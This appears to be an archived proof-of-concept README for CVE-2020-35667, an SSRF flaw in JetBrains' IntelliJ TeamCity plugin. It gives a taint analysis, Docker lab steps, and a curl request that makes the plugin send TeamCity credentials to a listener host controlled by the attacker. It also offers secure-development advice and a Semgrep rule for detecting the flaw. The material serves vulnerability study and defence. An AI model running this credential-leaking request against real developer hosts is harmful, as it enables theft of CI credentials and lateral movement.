关联漏洞
标题:JetBrains TeamCity 代码问题漏洞 (CVE-2020-35667)Description:Jetbrains JetBrains TeamCity是捷克JetBrains(Jetbrains)公司的一套分布式构建管理和持续集成工具。该工具提供持续单元测试、代码质量分析和构建问题分析报告等功能。 JetBrains TeamCity Plugin before 2020.2.85695 存在安全漏洞,该漏洞源于可能暴露用户凭证的漏洞。
介绍
# CVE-2020-35667-PoC
### Overview
**DISCLAIMER**
The vulnerable behaviour illustrated below was verified empirically from decompiled, patched artifacts, which tries to resemble the original vulnerability inferred with an heuristic approach, since the original vulnerable plugin release is no longer available. The repository contains a zip with a minimally edited build (derived from the patched version) used for isolated lab reproduction.
This CVE regards the IntelliJ IDEA TeamCity integration plugin, which enable the integration of the IDE with TeamCity, a CI/CD orchestrator and archive that stores build configs and other artifacts, exposed through REST/RPC APIs
The plugin opens locally few HTTP endpoints, which in a common scenario are called with the components the plugin has added to the GUI. In the observed setup this local server implements no access-control layer and factually acts as middleware between the IDE and the TeamCity server.
The plugin server-side request handler accepts a user controlled parameter in the URL and uses it to build a patch download URL without sufficient validation(CWE-918). The plugin then issues an HTTP GET to the crafted URL, carrying logged in user authentication headers, with Teamcity credentials, since TeamCity exposes REST/RPC APIs.
Assumed that the attacker can reach the developer host(e.g phishing, xss) can execute an SSRF(CAPEC-6634) attack, forcing the plugin to make a request to an attacker controlled host, which is listening at the endpoint encoded in the parameter controlled by the user, leading to credential leak. Which set the context for e.g foothold or lateral movement.
### Source Code Taint Analysis
- **Source :** `Connection.run()` → `Connection.doHandle()`
fetches the request uri and parameters, parsed in the`params` map (including`file` parameter)
- **Initial handling:** → `ActivatorBase.handle(res, params, ...)` — `res == "/patch"` triggers `handleLoadPatch(params)`
- **Propagation:** `handleLoadPatch` schedules work and eventually calls `UrlUtil.createUrl(params, serverUrl)` — this is the component I have modified to a be vulnerable, the `file` value is inserted as the URL scheme:address/path without validation, other parameters are appended
- **Sink (sensitive operation):** `ActivatorBase.downloadPatch(patchUrl, username, password)` creates an `HttpClient` with `UsernamePasswordCredentials` and calls `client.executeMethod(get)` , the actual network request is issued to `patchUrl`
### How to reproduce
My set-up : TeamCity **2020.2.1**, IntelliJ IDEA Community **2018.1.8**, host: ARM64 Kali Linux 2025.3. All containers air-gapped
- (optional) create an isolated docker network
```jsx
docker network create tc-nec
```
- Download and start IntelliJ IDEA, create an ephemeral project of any kind. Load the extension provided as zip file
- Build & start the TeamCity server container : relevant artifacts provided in tc-server folder, reach the TeamCity dashboard and create an ephemeral teamcity environment and a user
```jsx
docker build -t lab-teamcity ./pocartifacts/tc-server
docker run -d --name lab-teamcity \
--network tc-net \
-p 127.0.0.1:8111:8111 \
lab-teamcity
```
- **Build & start the malicious HTTP sink :** relevant artifacts provided in http-listener folder
```jsx
docker build -t lab-sink ./pocartifacts/http-listener
docker run -d --name lab-sink \
--network tc-net \
-p 127.0.0.1:8000:8000 \
lab-sink
```
- (optional) enable plugin logging with trace severity for granular execution analysis : IDE GUI → search debug log settings → add #jetbrains.buildServer.activation row → restart IDE
- Connect to the local TeamCity server : Settings → Tools → TeamCity → Add Server and point it at [http://127.0.0.1:8111](http://127.0.0.1:8111/) , login with the created user
- send the following request
```jsx
curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
```
- Sink server logged the plugin http request
```jsx
docker exec lab-sink "cat sink.log"
```
### Security Requirements
Firstly I would like to suggest shifting left security in the SDLC, through the specification of quantifiable and implementable security requirements, keeping the OWASP ASVS requirements as guideline, forking it and adopting only code-related relevant to the application requirements. Application Security specialists should map these requirements to specific code components and or even single snippets. Developers should be trained to know how to implement these security requirements : know their language/framework built-in security mechanisms. Together they should work on a matrix that map each requirement to the owning package, class, or function and list relevant acceptance checks (unit tests, SAST rules), this would ensure the compliance of the codebase to the forked ASVS set.
### SAST & DAST Detection
Multiple security review gates must be integrated across the whole delivery pipeline.
From directly in the developer machine through an IDE plugin and pre-commit git hooks, to CI pipeline full scans and fuzzing-based DAST in tailored environments(continuous deployment). On any error the build/delivery should fail. The data resulting from these scans should constantly be aggregated, reviewed to refine the process and eliminate false positives/true negatives.
This is a sample Semgrep rule to detect URL build with missing user-controlled parameter sanitization, in Java with the http-client library used in the plugin
```jsx
rules:
- id: java-ssrf-url-from-params
patterns:
- pattern-either:
- pattern: |
$A = params.get($P)
...
$URLSTRING = $A + $REST
...
new URL($URLSTRING)
- pattern: |
$A = request.getParameter($P)
...
$URLSTRING = $PREFIX + $A + $SUFFIX
...
new URL($URLSTRING)
- pattern: new URL(params.get($P))
- pattern: new URL(request.getParameter($P))
- pattern-not: "// semgrep:skip"
message: |
Possible SSRF / unsafe URL construction: URL is built from request parameters without validation.
Validate/whitelist scheme and host; canonicalize path; do not forward credentials to untrusted hosts.
languages: [java]
severity: ERROR
metadata:
cwe: "CWE-918"
tags: ["security", "ssrf", "input-validation"]
```
文件快照
[4.0K] /data/pocs/c514bf9838d394a81fab923e5369582f288bea0c
├── [4.0K] pocartifacts
│ ├── [4.0K] http-listener
│ │ ├── [ 306] Dockerfile.sink
│ │ ├── [ 13] requirements.txt
│ │ ├── [ 0] sink.log
│ │ └── [3.0K] sink.py
│ └── [4.0K] tc-server
│ ├── [1.1K] docker-entrypoint.sh
│ └── [1.0K] Dockerfile
├── [6.5K] README.md
└── [ 10M] TeamCity-IDEAPlugin-vulnerable.zip
4 directories, 8 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。